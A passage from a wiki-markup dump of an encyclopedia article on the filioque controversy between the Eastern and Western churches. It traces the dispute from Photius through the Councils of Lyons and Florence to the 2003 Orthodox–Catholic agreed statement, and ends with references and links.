In opposition to this removal of Ignatius, the Bishop of Rome supported Ignatius as legitimate Patriarch. Moreover, contrary to existing canons, Photius had been ordained to the office of bishop very quickly.  Recent scholarship has shown that violation of these church laws together with an attempt to leverage situation to force Emperor to accept Pope's claim to sovereignty over exarchate of Illyria were the main reasons the Bishop of Rome rejected the appointment of Photius.

Therefore, after the arrival of an embassy from Ignatius, in [[862]], Nicholas said that Photius was deposed, as well as the bishop who ordained him and all the clergy Photius had appointed.   As would be expected, this did not go over well in Constantinople. In [[867]], Photius rejected the Pope's assertion and objected to Latin missionaries in Bulgaria. Photius' response cited the ''filioque'' as proof that Rome had a habit of overstepping its proper limits. His ''Encyclical to the Eastern Patriarchs'' is neither gentle nor irenic.

However, the other Patriarchs (of Alexandria, Antioch and Jerusalem) concurred with the Pope's choice and cast the decision as conciliar. In [[867]] and [[869]]&amp;ndash;[[870]], synods in Rome and Constantinople restored Ignatius to his position as Patriarch. In [[877]], after the death of Ignatius, Photius again resumed office, by order of the emperor. He resigned in [[886]] when Leo VI took over as emperor.  Photius spent the rest of his life as a monk, in exile in Armenia; he is revered by the Orthodox today as a saint. He was the first important theologian to accuse Rome of innovation in the matter of the ''filioque''.

In the ninth century, [[Pope Leo III]]  agreed with the ''filioque'' phrase theologically but was opposed to adopting it in Rome, in part because of his loyalty to the received tradition. He also knew that the Greeks resented the new Roman Empire in the West and Charlemagne in particular; the Pope wanted to preserve Church unity. In fact, Leo III had the traditional text of the Creed, without the ''filioque'', displayed publicly. He had the original text engraved on two silver tablets, at the tomb of St. Peter. In any case, during the time of Pope Leo's leadership, [[795]]&amp;ndash;[[816]], there was no Creed at all in the Roman Mass.

Later, in [[1014]], the German Emperor Henry II, of the [[Holy Roman Empire]], visited Rome for his coronation and found that the Creed was not used during the Mass. At his request, the Bishop of Rome added the Creed, as it was received in the West with the ''filioque'', after the Gospel.  At this time, the papacy was very weak and very much under the influence of the Germans.  For the sake of survival, the Pope needed the military support of the Emperor. This was the first time the phrase was used in the Mass at Rome.

So, over a 400 year period, dispute over the ''filioque'' had not divided the Church definitively; for the most part, in spite of cultural and linguistic conflicts, the Roman and the Byzantine Churches remained in full communion.

In [[1054]], however, the argument contributed to the [[East-West Schism|Great Schism]] of the East and West. There were many issues involved, in large part based on misunderstandings between Greek and Latin traditions, as well as the irascible temperament of the antagonists. These were Cardinal Humbertus from Rome and Patriarch [[Michael Cerularius]] of Constantinople. In addition to the actual difference in wording and doctrine in the ''filioque'', a related issue was the right of the [[Pope]] to make a change in the Nicene Creed, on his own, apart from an [[Ecumenical Council]].

===Complicating factors===
One must acknowlege, however, that the ''filioque'' was introduced in the West first of all in Spain, then in Gaul, not in Rome, and not by the Pope's initiative.  Centuries later, the phrase became something to argue about; for a long time, as mentioned, it was in no way justification for breaking communion.

By the same token, it is not accurate to say, as some historians do, that the &quot;Catholic Church&quot; introduced the ''filioque'' into the Mass. Eastern Churches, for example, the [[Maronite]]s, fully part of the Catholic Church,  never used the ''filioque''. Moreover, the phrase was in wide use in the West, following the language of many Latin fathers, outside the Mass, especially in Spain and Gaul.  Instead, it is more accurate to speak of the ''filioque'' as a Latin expression or as an expression found in the Latin Church. In the first millennium,  as the late John Romanides points out, the &quot;Catholic Church&quot; is the &quot;Roman Church&quot; of both East and West.  

For many years after the condemnations of [[1054]], many Orthodox and Catholics did not think of themselves as being in schism; neither Church, in fact, had excommunicated the other.  Many Slavic Christians saw the whole episode as a dispute among individuals.

In the thirteenth century, [[Thomas Aquinas]], O.P., was one of the dominant Scholastic theologians. He dealt explicitly with the processions of the divine persons in his ''[[Summa Theologica]]''. Following John Damascene, Cyril of Alexandria, and many other Eastern Fathers, he taught that it is proper to speak of the Spirit as proceeding &quot;through the Son&quot; (per Filium), but he also acknowledged the orthodoxy of the filioque. Using Augustinian language, he also speaks of the Father as the ultimate principle (cause) of the deity.  

In [[1274]], the [[Second Council of Lyons]] said that the Holy Spirit proceeds from the Father and the Son, in accord with the ''filioque'' in the contemporary Latin version of the Nicene Creed. Reconciliation with the East, through this council, did not last.  Remembering the crusader's sack of Constantinople in [[1204]], most Byzantine Christians did not want to be reconciled with the West. In [[1283]], Patriarch John Beccus, who supported reconciliation with the Latin Church, was forced to abdicate; reunion failed.

(These crusaders were the Venetians of the [[Fourth Crusade]], who had earlier been excommunicated for attacking other Christians. In [[1204]], they were getting even for a slaughter of Venetian merchants, in rioting, that took place in [[1182]]. Pope Innocent III had sent them a letter, asking them not to attack Constantinople; after hearing of the sack of the city, he lamented their action and disowned them. Nevertheless, the people of Constantinople had a deep hatred for the people they called the &quot;Latins&quot; or the &quot;Franks.&quot;)

For much of the [[14th century]], there were two bishops, each claiming to be Pope, each excommunicating the followers of the other. The Great [[Western Schism]] concluded with yet a third individual claiming to be Pope and the [[Council of Constance]].  The East could hardly seek reconciliation with a Western Church divided among itself. In the middle of the century, about a third of Western Europe died of the [[Black Death]]. People were more concerned about the plague than about Church unity.

===Failing efforts to reunite East and West===
At the [[Council of Florence]], in the [[15th century]], Byzantine Emperor [[John VIII Palaeologus]], Bishop Joseph, Patriarch of Constantinople, and other bishops from the East travelled to northern Italy, in hope of reconciliation with the West and the aid of Roman armies in their conflict with the Ottoman Empire.

After extensive discussion, in Ferrara, then in Florence,  they acknowledged that some Latin Fathers spoke of the procession of the Spirit differently from the Greek Fathers.  Since the consensus of the Fathers was held to be reliable, as a witness to common faith, and since the Byzantine Empire desperately needed the military aid of the West, the Western usage was held not to be a heresy and not a barrier to restoration of full communion.  All but one of the Orthodox bishops present, [[Mark of Ephesus]], agreed and signed a decree of union between East and West, ''Laetentur Coeli'' in [[1439]].  Mark refused to sign on the grounds that Rome was in both [[heresy]] and [[schism]] as a result of its acceptance of the ''Filioque'' and the papal claims of universal jurisdiction over the [[Church]].  For his stand, Mark is now venerated as a Saint in [[Eastern Orthodoxy]].

Now, officially and publicly, the Catholic and Orthodox Churches were in communion.  So, the Council of Florence helped establish a fundamental principle: the Church must be one in its faith, its essential beliefs, but may be diverse in its culture, customs, rites, and theology.

However, the reconciliation achieved at Florence was soon destroyed.  Some Orthodox faithful and bishops rejected the union. The promised Western armies were too late to prevent the [[fall of Constantinople]] to the Turks in [[1453]]. From that time, the Turks fostered separation from the West, which remained an adversary to Islamic political and military dominance.  The Patriarch of Constantinople now had to carry out the will of his Muslim overlord; the Church was no longer free. The patriarch was also one of the bishops who had repudiated the reunion of Florence, on his own initiative. The Eastern bishops were under immense political pressure from the emperor who wished to secure the support of the West, in the face of the Ottoman danger. Hence, the agreement of Florence, intellectually, represented in some respects the result of an imposition of Scholastic theology and a desparate plea for help.

Undeniably, the ''filioque'' controversy was officially resolved, for both Orthodox and Catholic. However, because of the historical situation, this resolution was neither fully received nor permanently sustained.

==Orthodox Church==
To this day, the [[Eastern Orthodoxy|Orthodox Church]] uses the Nicene-Constantinopolitan Creed of [[381]] without the ''filioque''. Many times, the Eastern Churches have rejected the phrase as an unauthorized interpolation, an example of what they consider to be Western hubris. Even more, they objected to the teaching it expressed, as conflicting with biblical and accepted doctrine. They said that for the Holy Spirit to proceed from the Father and the Son there would have to be two sources in the deity, whereas in the one God there can only be one source of divinity or deity.

Western theologians anticipated this objection by saying the Spirit proceeds from the Father and Son &quot;as from one principle.&quot; The East, however, again objected that this formulation would merge and confuse the persons of the Father and the Son. It was also pointed out that if Father and Son are sources of deity (and only the Holy Spirit is not), it follows that the status of the Spirit is diminished, relative to the Father and the Son, by excluding the Spirit alone as a source of divinity, making the Spirit, rather, a recipient of it--as if the Son and Spirit were both subordinate in their own doctrine. Finally, if one says that the divine essence itself is the source of deity in God, which they took the Latin theologians to say, then (as the Eastern theologians pointed out) another problem is created, a suggestion that the Holy Spirit proceeds from himself, since he is certainly not separate from the divine essence. (By the same reasoning, the Father and Son would also proceed from Themselves. The typical Eastern approach to Triadology avoids this problem by starting with Father, Son, and Holy Spirit, and considering that the unique divine Essence is the &lt;i&gt;content&lt;/i&gt; of these Three, rather than that the Three &quot;proceed&quot; from the Essence.)

Both [[Photius I of Constantinople|Patriarch Photius]] in [[862]] and [[Patriarch Cerularius]] in [[1054]] accused the West of heresy for introducing the ''filioque'' in the Creed.  In general, except for reconciliatory pauses in [[1274]] and [[1439]], at the [[Second Council of Lyons]] and the [[Council of Florence]], many Orthodox have repeated the charge of heresy, up to the present day.  On the other hand, from the [[13th century]], other Orthodox have pointed out that no ecumenical council ever condemned the entire Western Church and excommunicated its members.  Hence, they argued, Latins should not be denied Communion because of the ''filioque'' in their Creed.

An Orthodox Patriarch of Constantinople, [[Patriarch Gregory II of Constantinople|Gregory II]], of Cyprus ([[1241]]&amp;ndash;[[1290]]), proposed a different formula which has also been considered as an Orthodox &quot;answer&quot; to the ''filioque'', though it does not have the status of official Orthodox doctrine. Gregory spoke of an eternal ''manifestation'' of the Spirit by the Son. In other words, he held that the Son eternally manifests (shows forth) the Holy Spirit.

In general, even up to the time of the Council of Florence, the writings of Latin fathers were not widely read in the East; the language was not understood.  Hence, the formulation of the ''filioque'', let alone its meaning, was not readily understood in the East.  Up to the present, some Western practices are still condemned as heresy by some in the East, disciplinary customs such as mandatory celibacy for priests or the use of pouring water for baptism, rather than triple immersion.  There is even a schismatic (noncanonical) Greek group which avoids the use of electric lights in church.  When the Pope of Rome visited Greece, some clergy refused to pray with him; others protested publicly against his visit. In Ukraine, when he visited, one Orthodox community held a ceremony of &quot;cursing&quot; for a bishop they considered a heretic. Some Orthodox, too, speak of what they call the &quot;heresy of ecumenism.&quot;  The Patriarch of Constantinople has accused some monks of Mount Athos, Greece, as being schismatic in spirit, because they consider the entire West to be mired in heresy.  Again and again, the ''filioque'' is brought up as the first example of heresy.

In the recent past, however, several Orthodox theologians have considered the ''filioque'' anew, with a view to reconciliation of East and West. Theodore Stylianopoulos, for one, provides an extensive, scholarly  overview of the contemporary discussion. A &quot;Father Chrysostom&quot;, following Jean-Miguel Garrigues, appeals for common prayer, instead of polemicism.  Twenty years after first writing ''The Orthodox Church'', Bishop Timothy [Kallistos] Ware says that he has changed his mind; now, he considers the ''filioque'' dispute to be primarily semantic.

The Moscow patriarchate has said that it does not rebaptize or even chrismate Catholics who become Orthodox; they simply repent and are welcomed.  Should the conflict over [[Eastern Rite]] Catholics in Russia be resolved, the ''filioque'' dispute would perhaps not be an obstacle to full reconciliation.  Patriarch Bartholomew of Constantinople has said that all that is necessary is resolution of what he calls the &quot;[[Uniate]]&quot; problem.  For many Orthodox, then, the ''filioque'', while still a matter of conflict, would not impede full communion of the Catholic and Orthodox Churches.

==Catholic Church==
In [[1274]], at the Second Council of Lyons, the Catholic Church condemned those who &quot;presume to deny&quot; that the Spirit proceeds from the Father and the Son. In the recent past, many Catholic theologians have written on the ''filioque'', with an ecumenical intention. Yves Congar, O.P., argues that varying formulations may be seen not as contradictory but as complementary. Irenee Dalmais, O.P. points out that East and West have different, yet complementary, pneumatologies, theologies of the Holy Spirit. Avery Dulles, S.J., traces the history of the ''filioque'' controversy and weighs pros and cons of several possibilities for reconciliation. Eugene Webb makes use of the pneumatology of Bernard Lonergan, S.J.  

From an official standpoint, the [[Roman Catholic Church]] has not imposed the recitation of the ''filioque'' on the East. The [[Eastern Rites|Eastern-rite]] Churches of the Catholic Church include, for example, the [[Maronite]]s, the [[Melkite]]s, and the [[Ruthenian Catholic Church|Ruthenians]]. Those who returned to union with the [[Papacy]] at various dates were not required to include the &quot;and the Son&quot; formula in their recitation of the Creed. The Maronites, who claim to have never been out of communion with Rome (though this claim is disputed), have also never used the ''filioque''. Nonetheless, its conciliar definition makes it ''de fide'' for all claiming communion with the faith of Rome. 

In many liturgies, when celebrating with bishops from the East, the Pope has recited the Nicene Creed without the ''filioque''. It is certain that Pope Paul VI and Pope John Paul II regard the text of 381 to be entirely correct on its own merit and that in Eastern liturgies it would not even be appropriate.

Of special importance is a recent clarification of the &lt;i&gt;filioque&lt;/i&gt; by the Pontifical Council for Promoting Christian Unity.  This document was prepared at the specific request of the Bishop of Rome.  It is entitled ''The Greek and Latin Traditions Regarding the Procession of the Holy Spirit''.

==Overview==
In part, the ''filioque'' was originally proposed in order to stress more clearly the connection between the Son and the Spirit, amid a heresy in which the Son was taken as less than the Father because he does not serve as a source of the Holy Spirit.  In other words, when the ''filioque'' came into use in Spain and Gaul in the West, they were not aware that their language of procession would not translate well back into the Greek. Conversely, from Photius to the Council of Florence, the Latin Fathers were also not acquainted with the linguistic issues.

To be more specific, the origins of the ''filioque'' in the West are to be found in the writings of certain Church Fathers in the West and especially in the anti-Arian situation of [[7th-century]] Spain.  In this context, the ''filioque'' was a means to affirm the full divinity of both the Spirit and the Son.  It is not just a question of establishing a connection with the Father and his divinity; it is a question of reinforcing the profession of Catholic faith in the fact that both the Son and Spirit share the fullness of God's nature.

It is ironic that a similar anti-Arian emphasis also strongly influenced the development of the liturgy in the East, for example, in promoting prayer to &quot;Christ Our God,&quot; an expression which also came to find a place in the West. (As Joseph Jungmann, S.J., has shown, this shift in mentality caused a loss in appreciation of the mediating role of Christ in the liturgy, as well as other changes in piety.)

In this case, a common adversary, namely, [[Arianism]], had profound, far-reaching effects, in the orthodox reaction in both East and West. It should be noted that the Nicene Creed was not introduced into the celebration of the Mass in Rome until the eleventh century; in this respect, in terms of the Roman liturgy, ''filioque'' is a relatively late addition.

As noted, Church politics, authority conflicts, ethnic hostility, linguistic misunderstanding, personal rivalry, and secular motives all combined in various ways to divide East and West.  More than once, the ''filioque'' dispute was used to reinforce such division.  Now, with a growing spirit of charity, in accord with the will of Christ, that there be one flock (Jn 10:16; 17:22), perhaps the ''filioque'' dispute will be resolved, so that the Catholic and the Orthodox Churches may be reconciled.

==Recent discussions and statements==
Dialogue on this and other subjects is continuing. 

A little-known sign of shifting [[Roman Catholic]] policy in the ongoing story of this controversy can be found in an official [[Roman Catholic]] document published on [[August 6]], [[2000]] and written by [[Pope Benedict XVI]], when he was [[Cardinal (Catholicism)|Cardinal]] Joseph Ratzinger, [[prefect]] of the [[Congregation for the Doctrine of the Faith]], and assisted by the Congregation's then secretary, [[Tarcisio Cardinal Bertone|Tarcisio Bertone]]. This document, ''[[Dominus Iesus]]'', ([[Latin]] for &quot;Lord Jesus&quot;), and subtitled ''&quot;On the Unicity and Salvific Universality of Jesus Christ and the Church&quot;'' contains a remarkable gesture, as in the official [[Latin]] text of this document [http://www.vatican.va/roman_curia/congregations/cfaith/documents/rc_con_cfaith_doc_20000806_dominus-iesus_lt.html] (second paragraph in the first section), the ''filioque'' clause is quietly left out without notice or comment.  Was this removal an attempt to reach a hand across the theological and historical chasm separating Eastern and Western Churches?  This document takes on increased significance with the elevation of one of its authors from [[cardinal (Catholicism)|cardinal]] to [[pope]].

The ''filioque'' clause was the main subject discussed at the 62nd meeting of the [[North American Orthodox-Catholic Theological Consultation]], which met at the Hellenic College/[[Holy Cross Greek Orthodox School of Theology]] in [[Brookline, Massachusetts|Brookline]] from June 3 through June 5, 2002, for their spring session. As a result of these modern discussions, it has been suggested that the Orthodox could accept an &quot;economic&quot; ''filioque'' that states that the Holy Spirit, who originates in the Father alone, was sent to the Church &quot;through the Son&quot; (as the [[Paraclete]]), but this is not official Orthodox doctrine. It is what the Greeks call a ''theologumenon'', a theological idea.  (Similarly, the late Edward Kilmartin, S.J., proposed as a ''theologumenon'', a &quot;mission&quot; of the Holy Spirit to the Church.)

Recently, an important, agreed statement has been made by the [[North America]]n Orthodox-Catholic Theological Consultation, on [[October 25]], [[2003]].  This document ''The Filioque: A Church-Dividing Issue?'', provides an extensive review of Scripture, history, and theology.  Especially critical are the recommendations of this consultation, for example:

#That all involved in such dialogue expressly recognize the limitations of our ability to make definitive assertions about the inner life of God.
#That, in the future, because of the progress in mutual understanding that has come about in recent decades, Orthodox and Catholics refrain from labeling as heretical the traditions of the other side on the subject of the procession of the Holy Spirit.
#That Orthodox and Catholic theologians distinguish more clearly between the divinity and hypostatic identity of the Holy Spirit (which is a received dogma of our Churches) and the manner of the Spirit's origin, which still awaits full and final ecumenical resolution.
#That those engaged in dialogue on this issue distinguish, as far as possible, the theological issues of the origin of the Holy Spirit from the ecclesiological issues of primacy and doctrinal authority in the Church, even as we pursue both questions seriously, together.
#That the theological dialogue between our Churches also give careful consideration to the status of later councils held in both our Churches after those seven generally received as ecumenical.
#That the Catholic Church, as a consequence of the normative and irrevocable dogmatic value of the Creed of [[381]], use the original Greek text alone in making translations of that Creed for catechetical and liturgical use.
#That the Catholic Church, following a growing theological consensus, and in particular the statements made by [[Pope Paul VI]], declare that the condemnation made at the [[Second Council of Lyons]] ([[1274]]) of those &quot;who presume to deny that the Holy Spirit proceeds eternally from the Father and the Son&quot; is no longer applicable.

In the judgment of the consultation, the question of the ''filioque'' is no longer a &quot;Church-dividing&quot; issue, one which would impede full reconciliation and full communion, once again.  It is for the bishops of the Catholic and Orthodox Churches to review this work and to make whatever decisions would be appropriate.

==References==
There is a great deal written on the topic of the &lt;i&gt;filioque&lt;/i&gt;; what follows, therefore, is selective. As time goes on, this list will inevitably have to be updated.

*&quot;Filioque,&quot; &lt;b&gt;Oxford Dictionary of the Christian Church&lt;/b&gt;.  Oxford, 1997, p. 611.
*John St. H. Gibaut, &quot;The &lt;i&gt;Cursus Honorum&lt;/i&gt; and the Western Case Against Photius,&quot; &lt;b&gt;Logos&lt;/b&gt; 37 (1996), 35-73.
*Elizabeth Teresa Groppe.  &lt;b&gt;Yves Congar's Theology of the Holy Spirit&lt;/b&gt;.  New York: Oxford University Press, 2004.  See esp. pp. 75-79, for a summary of Congar's work on the &lt;i&gt;filioque&lt;/i&gt;.  Congar is widely considered the most important Roman Catholic ecclesiologist of the twentieth century. He was influential in the composition of several Vatican II documents. Most important of all, he was instrumental in the association in the West of pneumatology and ecclesiology, a new development.  
*Joseph Jungmann, S.J.  &lt;b&gt;Pastoral Liturgy&lt;/b&gt;.  London: Challoner, 1962.  See &quot;Christ our God,&quot; pp. 38-48.
*James Likoudis.  &lt;b&gt;Ending the Byzantine Greek Schism&lt;/b&gt;.  New Rochelle, New York: 1992.  An apologetic response to polemical attacks.  A useful book for its inclusion of important texts and documents; see especially citations and works by Thomas Aquinas, O.P., Demetrios Kydones, Nikos A. Nissiotis, and Alexis Stawrowsky. The select bibilography is excellent.  The author demonstrates that the &lt;i&gt;filioque&lt;/i&gt; dispute is only understood as part of a dispute over papal primacy and cannot be dealt with apart from ecclesiology.
*Bruce D. Marshall, &quot;''''Ex Occidente Lux?'''' Aquinas and Eastern Orthodox Theology,&quot; &lt;b&gt;Modern Theology&lt;/b&gt; 20:1 (January, 2004), 23-50. Reconsideration of the views of Aquinas, especially on deification and grace, as well as his Orthodox critics.  The author suggests that Aquinas may have a more accurate perspective than his critics, on the systematic questions of theology that relate to the &lt;i&gt;filioque&lt;/i&gt; dispute.
*Malon H. Smith, III.  &lt;b&gt;And Taking Bread: Cerularius and the Azyme Controversy of 1054&lt;/b&gt;.  Paris: Beauschesne, 1978.  This work is still valuable for understanding cultural and theological estrangement of East and West by the turn of the millennium.  Now, it is evident that neither side understood the other; both Greek and Latin antagonists assumed their own practices were normative and authentic.
*Timothy [Kallistos] Ware.  &lt;b&gt;The Orthodox Church&lt;/b&gt;.  New edition.  London: Penguin, 1993, pp. 52-61.
*Timothy [Kallistos] Ware. &lt;b&gt;The Orthodox Way&lt;/b&gt;.  Revised edition.  Crestwood, New York: 1995, pp. 89-104.
*[World Council of Churches] /Conseil Oecuménique des Eglises.  &lt;b&gt;La théologie du Saint-Esprit dans le dialogue oecuménique&lt;/b&gt; Document # 103 [Faith and Order]/Foi et Constitution.  Paris: Centurion, 1981

==External links==
===General===
*[http://www.scoba.us/resources/filioque-p02.asp Orthodox/Catholic joint statement]
*[http://www.orthodoxwiki.org/Filioque Filioque] at [[OrthodoxWiki]]
*[http://www.newadvent.org/cathen/06073a.htm Catholic Encyclopedia entry]

=== Historical origins ===
*[http://www.praiseofglory.com/filioque.htm An extensive history of the ''filioque'' dispute, assembled by Gerard Seraphin] The author makes an important reference to Johannes Grohe, who speaks of Eastern use of the ''filioque''.
*[http://www.unc.edu/~gdemacop/Filioque.html Chronology of the Filioque Controversy] A one-page overview of the dispute, from 325 to 1453.
*[http://www.romanity.org/htm/rom.03.en.franks_romans_feudalism_and_doctrine.03.htm John S. Romanides, &quot;The Filioque&quot;] The author shows how Franks in the Carolingian Empire in the ninth century worked in opposition to the ancient Church of Rome-Constantinople, the &quot;Roman Church&quot; of East and West.
*[http://www.stjosephplacentia.org/RCath-L/history6.htm &quot;History of the Mass: Part VI&quot;] A brief but more objective presentation of the influence of the Franks in matters of discipline.
*[http://www.praiseofglory.com/photius.htm &quot;The Patriarch Photius: The Era of Confrontation and Polemics&quot;] Yves Congar, O.P., here provides the historical context of the ''filioque'' dispute, as it took place with Patriarch Photius.
*[http://www.geocities.com/trvalentine/orthodox/photius_encyclical.html '''Encyclical to the Eastern Patriarchs'''] The polemical letter of Patriarch Photius, condemning the ''filioque'', as well as other practices, such as fasting on Saturdays.  From the very words of Photius, it is evident that the origin of his hostility is in what he perceives as competition from &quot;Westerners&quot; (Latin priests) in Bulgaria, a territory he considers under his jurisdiction. It is also evident, as Photius says, that he never heard of the ''filoque'' until now; in spite of his considerable erudition, he is, therefore, not familiar with the Latin Fathers.
*[http://www.newadvent.org/cathen/12043b.htm &quot;Photius of Constantinople&quot;] From the '''Catholic Encyclopedia'', here is an introduction to Photius, reflecting the state of scholarship on this topic, at the beginning of the twentieth century.
*[http://www.myriobiblos.gr/texts/english/milton1_16.html &quot;The Patriarch Photius and his disputes with Rome&quot;] In this article, Milton V. Anastos (like Congar, Dvornik et al.) gives a much kinder assessment of Photius.  Contemporary scholarship has corrected many false statements about his actions and provided a more accurate historical context. Pope John VIII, for example, never excommunicated Photius.
*[http://www.stpaulsirvine.org/html/TheGreatSchism.htm '''The Orthodox Church'''] In this excerpt from the book, Bishop Kallistos Ware writes of the role of the ''filioque'' in the East-West disputes, especially objections to that phrase by St. Photius and Patriarch Cerularius.  The author provides the historical context of the estrangement of East and West; he does an excellent job.    
*[http://www.newadvent.org/cathen/0555c.htm &quot;Hugh and Leo Etherianus&quot;] At Constantinople, in the 12th century, Hugh Etherianus prepared the first exhaustive and scholarly defense of the ''filioque'', using both Latin and Greek Fathers: '''De haeresibus quas Graeci in Latinos devolvunt, sive quod Spiritus Sanctus ex utroque Patre et Filio procedit'''.  In English, that's &quot;About the heresies of which the Greeks accuse the Latins, whether the Holy Spirit proceeeds from both the Father and the Son.&quot;
*[http://www.newadvent.org/cathen/14663b.htm &quot;St. Thomas Aquinas&quot;] Introduction to Thomas Aquinas, O.P., prominent Scholastic theologian and philosopher, defender of the ''filioque''.
*[http://www.logoslibrary.org/aquinas/summa/1027.html Excerpt from the '''Summa Theologica''', &quot;The Processions of the Divine Persons&quot;] Explicit explanation of the processions of the Trinity, according to Aquinas.
*[http://www.newadvent.org/summa/103602.htm Another excerpt from the '''Summa''', &quot;Whether the Holy Ghost proceeds from the Son?&quot;] The Scholastic perspective of Aquinas, precisely on the topic of this present article.
*[http://www.op.org/steinkerchner/comps/notes/aquinas.html Scott Steinkercher, O.P., &quot;Notes on Thomas Aquinas&quot;] Background, method, and anthropology of the Scholastic theology of Aquinas.
*[http://www.corpusthomisticum.org/oce.html Thomas Aquinas, '''Contra errores Graecorum'''] This 55-page essay, in Latin, is not for the faint of heart.  Alta Vista and Google probably cannot render the text clearly in English, because of the dense logic of the arguments.  In this essay, Aquinas argues that the Greeks don't accept universal jurisdiction of the Pope because their pneumatology is defective, as evidenced, he says, in their rejection of the ''filioque''.  This essay was influential among the participants in the 1274 Council of Lyons. Pope Urban IV had asked Aquinas to prepare this document, in preparation for that council. Regrettably, there does not seem to be a complete English translation of '''Contra errores''' available online.
*[http://www.globalserve.net/~bumblebee/ecclesia/errorgre.htm '''Contra errores Graecorum'''] This is an English translation of the first part of this essay, by Antoine Valentin.  Although the relevant passages are not here translated, in this excerpt you can see how Aquinas argues. 
*[http://www.newadvent.org/cathen/02380b.htm Patriarch John Beccus of Constantinople] The remarkable life of this Orthodox bishop; he did not consider the ''filioque'' heresy and favored reconciliation with the West.
*[http://www.geocities.com/trvalentine/orthodox/tomos1285.html ''Tomos'' of 1285] The definitive rejection by [[Patriarch Gregory II of Constantinople|Patriarch Gregory]] and the Council of [[Blachernae]] of the union of 1274 and the preceding patriarch, John Beccus.  Calling the ''filioque'' addition to the Creed &quot;blasphemy,&quot; this document represents a polemical, violent reaction to Scholastic theology, used to explain and defend the ''filioque''.  In this document, Beccus and his followers are said to be banished and &quot;expelled from Orthodoxy.&quot; 
*[http://www.praiseofglory.com/gilladdition.htm Excerpt from '''The Council of Florence''' by Joseph Gill, S.J., &quot;The Addition to the Creed&quot;] Dialogue between East and West at Ferrara, on the ''filioque''.
*[http://www.praiseofglory.com/gillprocession.htm Another excerpt from '''The Council of Florence''', &quot;Florence and the Dogmatic Discussions&quot;] Dialogue at Florence on the ''filioque''.
*[http://www.praiseofglory.com/gillunion.htm A third excerpt from '''The Council of Florence''', &quot;Reunion&quot;] History and text of '''Laetentur Caeli''', 1439 decree of union between East and West.

=== Orthodox Church ===
*[http://www.myriobiblos.gr/texts/english/Dragas_RomanCatholic.html George Dragas, &quot;The Manner of Reception of Roman Catholic Converts into the Orthodox Church&quot;] Tracing the history of such reception, the author makes the important point that the practice of re-baptizing Roman Catholics became widespread in the 13th century, after the sacking of Constantinople by the Crusaders. Even single immersion, as in the West, was often considered invalid.  In Russia, says the author, such re-baptizing was a universal practice; it must, he says, have been transferred there from the Greek Church. However, a synod in 1484 prescribed only chrismation (anointing), with a renunciation of the ''filioque'' and other Western practices, such as the use of unleavened bread for the Eucharist.  In both re-baptism and chrismation, the Latins were treated as heretics undergoing reconciliation. 
*[http://www.isidore-of-seville.com/orthodoxy_and_catholicism/5.html Ecumenism and Heresy] Here is a list of links, giving Orthodox positions that are anti-ecumenical and positions that are more irenic in character. See especially the sites with authorship by the Sacred Community of Mount Athos, John Meyendorff, and David Armstrong.
*[http://www.geocities.com/heartland/5654/orthodox/stylianopoulos_filioque.html &quot;The Filioque: Dogma, Theologumenon or Heresy?&quot;] Theodore Stylianopoulos here presents an extensive, scholarly overview of the contemporary discussion of the ''filioque''.  His article is carefully reasoned and works toward reconciliation.
*[http://www.goarch.org/en/ourfaith/articles/article8523.asp &quot;Papal Primacy&quot;].  In this article, Emmanuel Clapsis provides a well-documented study of the context in which the ''filioque'' dispute may be resolved:  a communion ecclesiology, with a renewed understanding of the primacy of the Bishop of Rome.  As Cardinal Ratzinger says, we can return to the understanding of that primacy as it was in the first millennium; that would provide a basis for reconciliation of the Orthodox and Catholic Churches.
*[http://www.cin.org/archives/cineast/199702/0473.html &quot;The True Faith&quot;] Father Chrysostom here appeals for prayer, to resolve long-standing conflict and polemicism.

=== Catholic Church ===
*[http://www.praiseofglory.com/congarfilioque.htm Yves Congar, O.P.,  '''I Believe in the Holy Spirit''', &quot;Attempts at and Suggestions for an Agreement&quot;] This renowned theologian says that varying formulations may be seen not as contradictory but as complementary.
*[http://www.praiseofglory.com/spiriteastwest.htm Irenee Dalmais, O.P., &quot;The Spirit of Truth andof Life&quot;] The author speaks of differing pneumatologies (theologies of the Spirit) in East and West.
*[http://ctsfw.edu/library/files/pb/1232 Avery Dulles, S.J., &quot;The ''Filioque'': What Is at Stake?&quot;] The author traces the history of the ''filioque'' controversy and evaluates current options. He says that it is important for the East to acknowledge that the West has not been in heresy for the past 1500 years. This is a PDF file.
*[http://faculty.washington.edu/ewebb/Pneumatology.pdf Eugene Webb, &quot;The Pneumatology of Bernard Lonergan: A Byzantine Comparison&quot;] In a PDF file, the author makes use of the pneumatology of Bernard Lonergan, S.J., to resolve the ''filioque'' controversy.
*[http://www.geocities.com/trvalentine/orthodox/vatican_clarification.html &quot;The Greek and Latin Traditions regarding the Procession of the Holy Spirit,&quot; a clarification from the Pontifical Council for Promoting Christian Unity.]  A very important document, making a substantial contribution to contemporary theological dialogue, working toward reconciliation.
*[http://www.geocities.com/trvalentine/orthodox/zizioulis_onesource.html Ioannis Zizioulas, &quot;One Single Source: An Orthodox response to the Clarification on the Filioque&quot;] The author says that East and West can easily continue dialogue on the ''filioque'', provided that both agree that the Father is the sole cause/origin both of the Son and of the Spirit.  This article is a positive statement, giving grounds for further progress towards reconciliation.
*[http://www.myriobiblos.gr/texts/french/larchet.html Jean-Claude Larchet, &quot;À propos de la récente &lt;&lt;clarification&gt;&gt; du conseil pontifical pour la promotion de l'unité des chrétiens] A 56-page, scholarly response to the clarification of the Pontifical Council, by Jean-Claude Larchet, in French.  An extensive, well thought-out analysis.

=== Overview ===
*[http://www.booksite.com/texis/scripts/pubsite/showdetail.html?sid=4460&amp;isbn=0915866455 Excerpt from '''The Mass of the Roman Rite''']  Here,  Joseph Jungmann, S.J., explains the importance of the mediating role of Christ in the liturgy, largely lost in the East, because of anti-Arianism, the same reactive force that in Spain gave rise to the ''filioque''.

=== Recent discussions and statements ===
*[http://www.usccb.org/seia/filioque.htm The agreed statement of the North American Orthodox-Catholic Theological Consulation, Oct. 25, 2003.] A very important document, with objective, historical accounting and critical recommendations, to promote ultimate reconciliation between East and West, on the ''filioque'' dispute.
*[http://www.tcrnews2.com/Orthodox_Catholic.html &quot;The Catholic-Orthodox Dialogue: Lights and Shadows&quot;] James Likoudis here provides a record of some responses to the 2003 agreed statement.

{{Nuttall}}

[[Category:Ancient Roman Christianity]] [[Category:Christian texts]]
[[Category:East-West Schism]]

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[[zh:和子句争辩]]</text>
    </revision>
  </page>
  <page>
    <title>FIPS</title>
    <id>11112</id>
    <revision>
      <id>40136538</id>
      <timestamp>2006-02-18T11:39:49Z</timestamp>
      <contributor>
